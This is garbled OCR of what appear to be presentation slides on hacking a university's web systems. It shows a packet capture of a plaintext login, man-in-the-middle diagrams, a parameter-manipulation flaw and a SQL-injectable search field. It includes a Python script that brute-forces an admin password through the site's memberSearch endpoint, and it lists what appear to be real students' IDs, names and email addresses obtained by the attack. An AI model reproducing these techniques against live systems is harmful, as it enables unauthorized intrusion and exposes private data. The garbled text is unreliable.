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PlainText

Process #1
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PlainText

Process #2

File Edit View Go Capture Analyze Statistics  Telephony Wireless Tools  Help

imZe  DREQes=Fi=Daaan

[ [http %] -] Expression--  +
Mo, Tirmne Source Destination Protocol  Length  Info
9 1.128993 192.168.48.16 216.125.239.9 HTTP 492 GET /ts.wseq?opcod..
11 1.128414 218.125.239.9 192.168.48.16 HTTP 620 HTTP/1.1 268 0K (..
15 1.141612 192.168.48.16 219.125.239.11 HTTP 806 POST /common/login..
jj 18 1.158208 218.125.239.11 192.168.48.16 HTTP 61 HTTP/1.1 2868 OK (..
- Internet Protocol Version 4, Src: 192.168.48.16, Dst: 218.125.239.11 e
 Transmission Control Protocol, Src Port: 58674, Dst Port: 88, Seq: 1, Ack: 1, Len: 752

I
Hypertext Transfer Protocol
4 HTML Form URL Encoded: application/x-winw-form-urlencoded

b Form item: "id" = "91416416"

I Form item: "pw" = "1234"

b |Form item: "type" = "2"

1 [0

4| m ) 3

B2b8 33 33 34 38 34 35 38 31 2e 32 30 34 36 34 31 38 33484581 .2846418
B2ce 37 38 36 2e 31 35 32 3@ 33 33 36 36 39 39 2e 31 786.1520 336699.1
B2d0 35 32 30 33 33 36 36 39 39 2e 31 35 32 33 39 36 52833669 9.152396
B2ef 38 37 30 35 2e 32 2b 28 4a 53 45 53 53 49 4f de 87685.2; JSESSION
G210 49 44 3d 61 62 63 54 78 56 4de 74 65 6b 72 46 74 ID=abcTx VNtekrFt

»

0300 65 46 4a 63 30 74 6c 77 Od @a ©d @a 69 64 3d 39  eFlc@tlw ....id=9
8310 31 34 31 36 34 31 36 26 70 77 3d 31 32 33 34 26 1416416& pw=1234&
CEVI:IM7 79 70 65 3d 32 E

O 7 Textiten (text), 7 bytes | Packets: 372 - Displayed: 4 (1,1%)

| Profile: Default




Scenario HMITM

Normal case

/ SERVER

P Local
C)

T

USER HACKER



Scenario HMITM

Abnorma | case

ID: 91416416
PW: 1234
SERVER
o
Local

e

)

T

USER HACKER
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Parameter Manipulation

Theory
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Cyber Lecture Room

Parameter manipulation
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Cyber Lecture Room

Is it patched?

>> | ecture.js

PP 7?7?77?7

function changeMode(mode)

{
if( 'student' == mode )
{
Jlocation.href = ,
}
else
{
Jlocation.href = :
}
}

>> Patched? NOP!

@ Failed to load resource: the server responded with a status of 484 (Not Found) lecture.js:1






JPP Login System
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JPP Login System
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JPP Login System
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JPP Login System
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JPP Login System
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Information is important
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Information is important



Welcome to the real world!
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s} (MBER_CD)
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Welcome to the real world!

<select name="search field" title="%| I ZAH">
<option value="MBER_NM"> 0| & </option>
<option value="MBER_CD">ID</option>
</select>

SELECT MBER_CD, MBER_NM - - -, EMAIL FROM "TABLE_NAME" WHERE $search_field=$search_text



Welcome to the real world!

Find admin password

OracleDB

Hel ol o] &
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ol
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FAAM 05 v 22A

a1 WIS i &t

o
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30000018 22| A
master 22 At

upacom & 22| At

| P2y |

ol M
lovebear@joongbu, ac kr
admin@upacom ,com

pis1024@ upacom , com

MBER_NM -> MBER_PW
@ (562%})

A-Za-z0-9--- brute force



Welcome to the real world!

Find admin password

ormat

t requests

url = "http://edu.joongbu.ac.kr/memberSearch.do”
data = {'search_field : MBER_PW', 'search_text ' :'l@___
password =

¢ k==0x5F :

_text'] = password[0:] + chrik) + datal search_text J[i+1:]
print{datal search_text'])
result = requests.posti{url, data=data)
i result.text.find( master’) I= -1:
print("find")
password += chrik)

Ltn: 8 Col: 11




Welcome to the real world!

AHHM ol v F4= | & B4 |
91416038 =2
91410474 21012 rrtiddian@naver.com MEMBER_NM — APDR
91507992 =27l hnecO3@ hanmall net
91114915 BfH s00voUng0424@ naver, com
91317012 HH CH 2 pinebudwelser@jungbu ac kr
91707539 HI=H hunnyshin@iungbu.ac kr
91606994 OlEs dlwn =0G06@ naver, com
91304742 EEtE hansol25826@ junabu.ac, kr
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Welcome to the real world!
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Welcome to the real world!
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Welcome to the real world!

[ s=dsn x V] free [jbcc x Y [ 91416416 x [ s=2tsta x V[ free [jbec x Y [ 91416416 x

& C' | ® haksawebjoongbu.ac.kr/file/downloadSnolmg?sno=913170 & C | @ 2&TE | https//jppjbm.ackr/upload/Per/91416416.jj
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